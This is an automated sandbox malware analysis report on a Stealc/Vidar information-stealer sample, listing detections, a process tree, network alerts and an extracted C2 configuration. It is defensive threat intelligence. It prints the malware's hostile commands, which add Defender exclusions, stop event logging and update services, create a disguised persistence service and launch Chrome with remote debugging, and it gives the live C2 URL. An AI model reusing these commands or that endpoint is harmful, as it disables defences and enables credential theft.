Edit tour

Windows Analysis Report
X9d3758tok.exe

Overview

General Information

Sample name:	X9d3758tok.exe renamed because original name is a hash value
Original sample name:	5b198b1cb3177bc50c15f147238d6c49.exe
Analysis ID:	1544227
MD5:	5b198b1cb3177bc50c15f147238d6c49
SHA1:	1f5ea6645a41198e7d060fa147b98aabf14600d1
SHA256:	52ce96aeb7d4062ffcce2a92bd41012f4198bc8d1fe7242b3de84434c6eb4c84
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

Modifies the hosts file

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Searches for specific processes (likely to inject)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

X9d3758tok.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\X9d3758tok.exe" MD5: 5B198B1CB3177BC50C15F147238D6C49)

chrome.exe (PID: 7592 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2272,i,12078058665247208728,2668639212947365791,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 4504 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BAAEHDBFID.exe (PID: 1028 cmdline: "C:\ProgramData\BAAEHDBFID.exe" MD5: 880C9E3235130A6AAAA3EC25BE18BDB4)

powershell.exe (PID: 7640 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7912 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7996 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 1432 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 8132 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7684 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7664 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7872 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8012 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2488 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2648 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4584 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1836 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7476 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1732 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6388 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6432 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 4908 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 3096 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7704 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 8152 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7272 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 4960 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

updater.exe (PID: 7008 cmdline: C:\ProgramData\Google\Chrome\updater.exe MD5: 880C9E3235130A6AAAA3EC25BE18BDB4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://77.83.175.105/18a9a962225b1ffb.php", "Botnet": "LogsDiller"}

Threatname: Vidar

{"C2 url": "http://77.83.175.105/18a9a962225b1ffb.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2251891155.000000000084E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2252201407.0000000002360000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: X9d3758tok.exe PID: 7484	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: X9d3758tok.exe PID: 7484	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: X9d3758tok.exe PID: 7484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: X9d3758tok.exe PID: 7484	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.X9d3758tok.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.X9d3758tok.exe.23e0e67.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.X9d3758tok.exe.2540000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.X9d3758tok.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.X9d3758tok.exe.23e0e67.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.X9d3758tok.exe.2540000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\ProgramData\BAAEHDBFID.exe" , ParentImage: C:\ProgramData\BAAEHDBFID.exe, ParentProcessId: 1028, ParentProcessName: BAAEHDBFID.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 2488, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\BAAEHDBFID.exe" , ParentImage: C:\ProgramData\BAAEHDBFID.exe, ParentProcessId: 1028, ParentProcessName: BAAEHDBFID.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\X9d3758tok.exe", ParentImage: C:\Users\user\Desktop\X9d3758tok.exe, ParentProcessId: 7484, ParentProcessName: X9d3758tok.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7592, ProcessName: chrome.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\ProgramData\BAAEHDBFID.exe" , ParentImage: C:\ProgramData\BAAEHDBFID.exe, ParentProcessId: 1028, ParentProcessName: BAAEHDBFID.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", ProcessId: 1732, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\BAAEHDBFID.exe" , ParentImage: C:\ProgramData\BAAEHDBFID.exe, ParentProcessId: 1028, ParentProcessName: BAAEHDBFID.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7704, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\ProgramData\BAAEHDBFID.exe" , ParentImage: C:\ProgramData\BAAEHDBFID.exe, ParentProcessId: 1028, ParentProcessName: BAAEHDBFID.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6388, ProcessName: sc.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:58.063008+0100	2044245	1	Malware Command and Control Activity Detected	77.83.175.105	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:58.047297+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	77.83.175.105	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:58.296262+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	77.83.175.105	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:17:25.982936+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49755	77.83.175.105	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:58.992074+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	77.83.175.105	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:58.306295+0100	2044247	1	Malware Command and Control Activity Detected	77.83.175.105	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:57.795817+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	77.83.175.105	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:16:59.502797+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:17:15.553126+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:18.812636+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:20.417317+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:21.300535+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:23.312542+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:23.821665+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:28.299849+0100	2803304	3	Unknown Traffic	192.168.2.4	49761	87.106.236.48	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: X9d3758tok.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1362845
Source: C:\ProgramData\Google\Chrome\updater.exe	Avira: detection malicious, Label: HEUR/AGEN.1362845
Source: C:\ProgramData\BAAEHDBFID.exe	Avira: detection malicious, Label: HEUR/AGEN.1362845

Found malware configuration

Source: 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://77.83.175.105/18a9a962225b1ffb.php", "Botnet": "LogsDiller"}
Source: 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://77.83.175.105/18a9a962225b1ffb.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for domain / URL

Source: campuspersever.es

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\BAAEHDBFID.exe	ReversingLabs: Detection: 36%
Source: C:\ProgramData\Google\Chrome\updater.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: X9d3758tok.exe	ReversingLabs: Detection: 44%
Source: X9d3758tok.exe	Virustotal: Detection: 44%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: X9d3758tok.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C76A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C76A9A0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C764440 PK11_PrivDecrypt,	0_2_6C764440
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C734420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C734420
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7644C0 PK11_PubEncrypt,	0_2_6C7644C0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7B25B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C748670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C748670
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C76A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C76A650
